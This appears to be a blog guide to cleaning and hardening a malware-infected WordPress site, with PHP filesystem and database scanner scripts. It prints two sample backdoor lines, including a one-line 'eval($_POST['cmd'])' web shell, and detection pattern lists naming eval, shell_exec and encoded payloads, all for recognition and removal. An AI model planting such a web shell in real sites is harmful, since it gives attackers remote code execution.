A Complete Guide for Restoring an Infected WordPress Site With Malware

When a WordPress installation becomes infected with malware, most site owners assume the problem lies in a single malicious file waiting to be found. In reality, modern attacks are sophisticated, multi-layered, and persistent. Attackers use encoded scripts, backdoors hidden in theme and plugin files, reinfection triggers stored inside the MySQL database, cron-based processes, and even account-level infiltration on shared hosting. Cleaning only one part of the stack usually results in the infection returning as soon as WordPress executes again.
A proper restoration requires a full, systematic methodology: contain the threat, prevent reinfection during cleanup, replace all core files from clean sources, remove all hidden malicious mechanisms across the filesystem and database, and harden the environment before bringing the site online again.
Taking the Site Offline Safely and Stopping Execution
The first priority is to stop all malicious PHP from executing, so you can safely investigate and clean it up. Many tutorials suggest disabling PHP execution in specific folders, but some users do not have access to .htaccess or server configuration. When that is the case, there are safer and equally effective alternatives.
Use a static maintenance page to halt all WordPress execution
Rename the existing index.php in the web root to something like index-disabled.php. Then create a new index.php with no PHP code, containing only static HTML that displays a maintenance message. WordPress will not load, malicious code will not run, and the site remains publicly accessible in a safe read-only state.
Understand what moving the site can and cannot do
Some guides recommend temporarily moving WordPress to another directory. This only helps if the malware depends on the original file structure. It does not stop malware capable of scanning the entire hosting account, executing cron reinfection tasks, or using database-stored payloads to rewrite files. A directory move may interrupt path-dependent scripts, but it will not stop a malware strain programmed to search every writable directory. Containment must therefore be achieved through execution blocking, not simple relocation.
Lock down file permissions to prevent new writes
Even if PHP cannot be disabled, lock down file permissions:
- Set directories to 755
- Set files to 644
- Set wp-config.php to 600
The goal is to prevent scripts from writing new files while you investigate. This disrupts the reinfection machinery that depends on regenerating compromised files every time WordPress loads.
Snapshot the entire hosting account
Create a full backup before cleaning. This is not for restoration but for reviewing logs, timestamps, and evidence in case deeper forensic analysis becomes necessary.
Identifying the Infection and Its Entry Points
Modern malware is rarely a single file. It often consists of dozens or even hundreds of small, distributed components.
Look for:
- Modification timestamps that do not match plugin or theme updates
- Unexpected .php files in wp-content/uploads
- Encoded payloads beginning with base64_decode, gzinflate, str_rot13, or unreadable blobs of characters
- Modified or regenerated .htaccess files
- Fake admin accounts
- Cron jobs or scheduled tasks that do not belong to WordPress
- Files with names that resemble core files (such as wp-vcd.php, wp-feed.php, wp-login1.php)
- Unfamiliar directories created deep inside plugins or themes
Many infections use multiple entry points, so identifying them is essential for preventing reinfection.
Understanding How Reinfection Mechanisms Work
Malware developers know that site owners often perform superficial cleanups. To ensure re-entry, they install persistent mechanisms across the filesystem and database.
Hidden PHP backdoors
These are small scripts designed to allow remote execution, file rewriting, or credential manipulation. They often appear in unexpected places:
<?php $x="base64_decode"; eval($x("aWYoJGY9JEhUVFA...")); or
<?php eval($_POST['cmd']); ?> Even a single backdoor in uploads, wp-includes, or a plugin folder can restore the entire infection.
Database-driven reinfection
This is one of the most overlooked attack vectors. Attackers insert malicious payloads into:
- wp_options (especially autoloaded values)
- wp_posts (via script or iframe injections)
- wp_postmeta (for reinfection hooks or shortcode execution)
- Hidden administrator accounts tied to database triggers
When WordPress runs, these values are loaded automatically and rewrite infected files. This is why a site appears clean for minutes or hours, then becomes compromised again.
Cron-based reinfection
Malicious cron jobs—sometimes created at the hosting-account level—periodically rewrite files or restore backdoors. These must be removed manually, as restoring WordPress core does not delete them.
Extra files mimicking WordPress core
Attackers create files whose names closely resemble legitimate ones, making them hard to spot. A complete cleanup requires comparing the file list against a fresh WordPress download and removing anything that does not belong.
Replacing WordPress Core Completely
The safest and most reliable cleanup method is to delete all WordPress core files and replace them with verified copies from WordPress.org. Delete everything except:
- wp-content and subdirectories
- wp-config.php after reviewing it for malicious code
Then upload a pristine WordPress core. Never try to fix infected core files. Replacement guarantees a clean environment and removes a large class of file-based reinfections.
Cleaning Themes and Plugins Thoroughly
The real work occurs in themes, plugins, and uploads.
Reinstall all themes and plugins from clean sources
Delete all theme and plugin directories completely. Then upload new copies downloaded directly from the publisher. Any customizations must be reintegrated by hand after inspection.
Look for out-of-place files
Inside themes and plugins, remove:
- Random .php files
- Files containing encoded payloads
- Files with recent timestamps that do not correspond to updates
- Files found in directories that should hold only assets (images, CSS, JS)
Review custom themes meticulously
Custom themes are a primary infection vector because they contain more custom code and fewer updates. Every PHP file must be inspected.
Cleaning the Database: The Hidden Reinfection Engine
A deep database cleanup is critical. Many sites become reinfected because harmful content in MySQL has not been removed.
Remove malicious autoload values
Search for oversized rows in wp_options:
SELECT option_name, LENGTH(option_value)
FROM wp_options
WHERE autoload='yes'
ORDER BY LENGTH(option_value) DESC; Large or unfamiliar entries often contain encoded backdoors.
Remove script and iframe injections
Attackers commonly inject JavaScript into posts, widgets, and menus.
Search for:
- <script
- <iframe
- onload=
- Encoded strings
Remove unauthorized users
Delete any administrator accounts you did not create.
Reset salts and authentication keys
Update all WordPress salts in wp-config.php. This invalidates attacker sessions and cookies.
WordPress Secret Key Generator
Malware-Scanning Scripts You Can Run from the WordPress Root
Filesystem Scanner (PHP)
Create scan-filesystem.php and run it via CLI:
<?php
$directory = __DIR__;
$patterns = [
'base64_decode',
'eval\\(',
'gzinflate',
'str_rot13',
'preg_replace\\(.*/e',
'shell_exec',
'assert\\('
];
function scanDirRecursive($dir, $patterns) {
$iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($dir));
foreach ($iterator as $file) {
if ($file->isFile() && preg_match('/\\.php|\\.ico|\\.txt|\\.js$/i', $file->getFilename())) {
$contents = @file_get_contents($file->getPathname());
if (!$contents) { continue; }
foreach ($patterns as $pattern) {
if (preg_match("/$pattern/i", $contents)) {
echo "Suspicious file: " . $file->getPathname() . "\n";
break;
}
}
}
}
}
scanDirRecursive($directory, $patterns);
echo "Scan completed.\n"; Database Scanner (PHP)
Create scan-database.php in the root:
<?php
require_once('wp-config.php');
$mysqli = new mysqli(DB_HOST, DB_USER, DB_PASSWORD, DB_NAME);
if ($mysqli->connect_errno) {
die("Database connection failed: " . $mysqli->connect_error);
}
$patterns = [
'<script',
'<iframe',
'base64_',
'eval\\(',
'gzinflate',
'src=\\s*["\']http'
];
$tables = ['wp_posts', 'wp_postmeta', 'wp_options'];
foreach ($tables as $table) {
$result = $mysqli->query("SELECT * FROM $table");
while ($row = $result->fetch_assoc()) {
foreach ($row as $column => $value) {
if (!is_string($value)) continue;
foreach ($patterns as $pattern) {
if (preg_match("/$pattern/i", $value)) {
echo "Suspicious entry in $table, column $column, ID " . ($row['ID'] ?? 'N/A') . "\n";
}
}
}
}
}
echo "Database scan completed.\n"; These scripts detect common patterns used in reinfection mechanisms, enabling you to locate hidden threats more quickly.
Bringing the Site Back Online Safely
When the filesystem and database are thoroughly cleaned:
- Restore the original index.php so WordPress can run.
- Activate plugins gradually to detect any immediate reinfection.
- Monitor file modification timestamps for at least 24–48 hours.
- Rotate all hosting, FTP, SSH, and WordPress passwords.
- Enable two-factor authentication (2FA).
Hardening to Prevent Future Attacks
A restored site remains vulnerable if the root cause persists.
Remove unused themes and plugins
Inactive components add unnecessary attack surface. Also, check the WordPress repository to see if there are any vulnerabilities or if your plugin’s version is no longer supported.
Disable XML-RPC if not required
This endpoint is frequently targeted by brute-force and injection attacks. Add this line to your wp-config.php file:
define( 'WP_XMLRPC_SERVER_DISABLED', true ); Install a security firewall with file-change monitoring
A firewall that notifies you of file modifications is essential for early detection.
- Wordfence Security: A widely trusted WordPress firewall offering real-time endpoint protection, malware scanning, and comprehensive file-change monitoring. It performs file integrity checks by comparing your core, theme, and plugin files against the official WordPress repositories.
- iThemes Security Pro: Includes a robust file-change detection engine and offers brute-force protection, hide-admin features, and automated lockdown when suspicious activity is detected. It also logs changes to files across your entire installation.
- Sucuri Website Security Firewall (WAF): A cloud-based firewall that filters malicious traffic before it reaches your server. Its associated monitoring platform performs server-side scanning and file integrity checks, alerting you when unauthorized modifications occur.
- Jetpack Protect (formerly Jetpack Security): Provides malware scanning, integrity checks, and a real-time security feed. While less comprehensive as a firewall compared to others, it does include file-monitoring of plugins, themes, and core files.
Prevent PHP execution in uploads
If configuration access is limited, create a blank index.php at a minimum to prevent the directory from being browsable. When possible, enforce complete execution blocking.
Evaluate your hosting environment
Shared hosting carries inherent risk because infections can spread horizontally between accounts. A VPS or managed WordPress host with account isolation dramatically reduces the likelihood of cross-site contamination.
Requesting Malware Review in Google Search Console
Once the site is clean:
- Verify your site in Google Search Console (GSC) if not already done.
- Navigate to Security Issues.
- Mark the issue as resolved and request a review.
Google will typically remove warnings within a few days if no harmful content remains.
Final Thoughts
Keeping WordPress secure is not a one-time cleanup—it’s an ongoing discipline rooted in staying current, choosing dependable partners, and minimizing the gaps attackers rely on. The simplest and most effective protection comes from ensuring WordPress core, your theme, and every plugin are always up to date. Reputable developers release patches quickly, respond to vulnerabilities, and maintain the code you depend on; unsupported or abandoned extensions, by contrast, become silent entry points for attackers.
Just as important is the quality of the environment in which your site runs. A hosting provider that performs daily backups, monitors for intrusion, isolates accounts, and locks down core files adds another layer of defense that individual site owners can’t replicate on their own. Auto-updates—wherever stability allows—further shrink the window between disclosure of a vulnerability and protection against it. In combination, these practices ensure that your site isn’t merely restored when something goes wrong but remains resilient and secure as threats evolve.







